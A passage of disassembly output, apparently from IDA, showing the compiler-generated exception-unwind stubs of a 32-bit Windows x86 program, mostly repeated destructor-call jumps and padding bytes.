ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403DC0 proc near ; DATA XREF: sub_403DC0+2o mov eax, offset dword_43F7A0 jmp sub_437AB8 SEH_403DC0 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_439398: ; DATA XREF: ___:0043F82Co mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403EA0 proc near ; DATA XREF: sub_403EA0+2o mov eax, offset dword_43F800 jmp sub_437AB8 SEH_403EA0 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403F80 proc near ; DATA XREF: sub_403F80+2o mov eax, offset dword_43F860 jmp sub_437AB8 SEH_403F80 endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404600 proc near ; DATA XREF: sub_404600+2o mov eax, offset dword_43F918 jmp sub_437AB8 SEH_404600 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43955B: ; DATA XREF: ___:0043F9CCo lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439566: ; DATA XREF: ___:0043F9D4o lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-134h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E8h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404C30 proc near ; DATA XREF: sub_404C30+8o mov eax, offset dword_43F9A0 jmp sub_437AB8 SEH_404C30 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_439800: ; DATA XREF: ___:0043FBA4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-28h] and eax, 1 test eax, eax jz locret_43981E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43981E: ; CODE XREF: ___:00439810j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4066A0 proc near ; DATA XREF: sub_4066A0+2o mov eax, offset dword_43FB78 jmp sub_437AB8 SEH_4066A0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- loc_439840: ; DATA XREF: ___:0043FBDCo lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-198h] and eax, 1 test eax, eax jz locret_439864 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439864: ; CODE XREF: ___:00439856j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406850 proc near ; DATA XREF: sub_406850+2o mov eax, offset dword_43FBB0 jmp sub_437AB8 SEH_406850 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406B80 proc near ; DATA XREF: sub_406B80+2o mov eax, offset dword_43FBE8 jmp sub_437AB8 SEH_406B80 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-454h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398AB: ; DATA XREF: ___:0043FC44o lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398B6: ; DATA XREF: ___:0043FC4Co lea ecx, [ebp-424h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406C80 proc near ; DATA XREF: sub_406C80+8o mov eax, offset dword_43FC18 jmp sub_437AB8 SEH_406C80 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407080 proc near ; DATA XREF: sub_407080+2o mov eax, offset dword_43FC58 jmp sub_437AB8 SEH_407080 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o mov eax, offset dword_43FC88 jmp sub_437AB8 SEH_4076B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439928: ; DATA XREF: ___:0043FCE4o lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407740 proc near ; DATA XREF: sub_407740+8o mov eax, offset dword_43FCB8 jmp sub_437AB8 SEH_407740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43994B: ; DATA XREF: ___:0043FD1Co lea ecx, [ebp-2DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-174h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-15Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-114h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-144h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-27Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-330h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-318h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-34Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-12Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0FCh] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2F8h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-300h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o mov eax, offset dword_43FCF0 jmp sub_437AB8 SEH_4077E0 endp ; --------------------------------------------------------------------------- db 0CFh dup(0CCh) dd 90C84D8Dh, 0C5574CE9h db 75h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_409650 proc near ; DATA XREF: sub_409650+2o mov eax, offset dword_4400A0 jmp sub_437AB8 SEH_409650 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A360 proc near ; DATA XREF: sub_40A360+2o mov eax, offset dword_4400D0 jmp sub_437AB8 SEH_40A360 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-38h] and eax, 1 test eax, eax jz locret_439D86 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439D86: ; CODE XREF: ___:00439D78j retn ; --------------------------------------------------------------------------- loc_439D87: ; DATA XREF: ___:0044012Co lea ecx, [ebp-34h] jmp sub_401596 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A500 proc near ; DATA XREF: sub_40A500+2o mov eax, offset dword_440100 jmp sub_437AB8 SEH_40A500 endp ; --------------------------------------------------------------------------- align 10h dd 0E9C84D8Dh, 75C556CDh db 0B3h ; --------------------------------------------------------------------------- loc_439DB9: ; DATA XREF: ___:0040AA22o mov eax, offset dword_440140 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40AEE0 proc near ; DATA XREF: sub_40AEE0+5o mov eax, offset dword_440170 jmp sub_437AB8 SEH_40AEE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B060 proc near ; DATA XREF: sub_40B060+5o mov eax, offset dword_4401D0 jmp sub_437AB8 SEH_40B060 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439DFB: ; DATA XREF: ___:0044025Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B180 proc near ; DATA XREF: sub_40B180+2o mov eax, offset dword_440230 jmp sub_437AB8 SEH_40B180 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439E4B: ; DATA XREF: ___:004402A4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B240 proc near ; DATA XREF: sub_40B240+2o mov eax, offset dword_440278 jmp sub_437AB8 SEH_40B240 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B2E0 proc near ; DATA XREF: sub_40B2E0+2o mov eax, offset dword_4402C0 jmp sub_437AB8 SEH_40B2E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EC8: ; DATA XREF: ___:0044032Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B500 proc near ; DATA XREF: sub_40B500+2o mov eax, offset dword_440300 jmp sub_437AB8 SEH_40B500 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EF8: ; DATA XREF: ___:0040B6C2o mov eax, offset dword_440340 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F30: ; DATA XREF: ___:0040B9A8o mov eax, offset dword_440370 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C430 proc near ; DATA XREF: sub_40C430+2o mov eax, offset dword_4403B8 jmp sub_437AB8 SEH_40C430 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A78h] jmp loc_401B13 ; --------------------------------------------------------------------------- loc_439F7B: ; DATA XREF: ___:00440414o lea ecx, [ebp-0A3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F86: ; DATA XREF: ___:0044041Co lea ecx, [ebp-0A54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C4D0 proc near ; DATA XREF: sub_40C4D0+8o mov eax, offset dword_4403E8 jmp sub_437AB8 SEH_40C4D0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CBE0 proc near ; DATA XREF: sub_40CBE0+2o mov eax, offset dword_440430 jmp sub_437AB8 SEH_40CBE0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-260h] jmp loc_40228E ; --------------------------------------------------------------------------- loc_439FEB: ; DATA XREF: ___:0044048Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439FF6: ; DATA XREF: ___:00440494o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A001: ; DATA XREF: ___:0044049Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A00C: ; DATA XREF: ___:004404A4o lea ecx, [ebp-278h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CC80 proc near ; DATA XREF: sub_40CC80+8o mov eax, offset dword_440460 jmp sub_437AB8 SEH_40CC80 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A04B: ; DATA XREF: ___:004404DCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CF30 proc near ; DATA XREF: sub_40CF30+2o mov eax, offset dword_4404B0 jmp sub_437AB8 SEH_40CF30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A07B: ; DATA XREF: ___:00440514o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A086: ; DATA XREF: ___:0040CFB2o mov eax, offset dword_4404E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D200 proc near ; DATA XREF: sub_40D200+2o mov eax, offset dword_440520 jmp sub_437AB8 SEH_40D200 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-16Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A0EB: ; DATA XREF: ___:00440594o lea ecx, [ebp-184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D650 proc near ; DATA XREF: sub_40D650+2o mov eax, offset dword_440568 jmp sub_437AB8 SEH_40D650 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-5ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-604h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-634h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-664h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-67Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-61Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-58Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-694h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-64Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40DC10 proc near ; DATA XREF: sub_40DC10+2o mov eax, offset dword_4405D8 jmp sub_437AB8 SEH_40DC10 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A228: ; DATA XREF: ___:0044069Co lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E2E0 proc near ; DATA XREF: sub_40E2E0+2o mov eax, offset dword_440670 jmp sub_437AB8 SEH_40E2E0 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A278: ; DATA XREF: ___:004406F4o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E860 proc near ; DATA XREF: sub_40E860+2o mov eax, offset dword_4406C8 jmp sub_437AB8 SEH_40E860 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A2C8: ; DATA XREF: ___:0044074Co lea ecx, [ebp-3Ch] 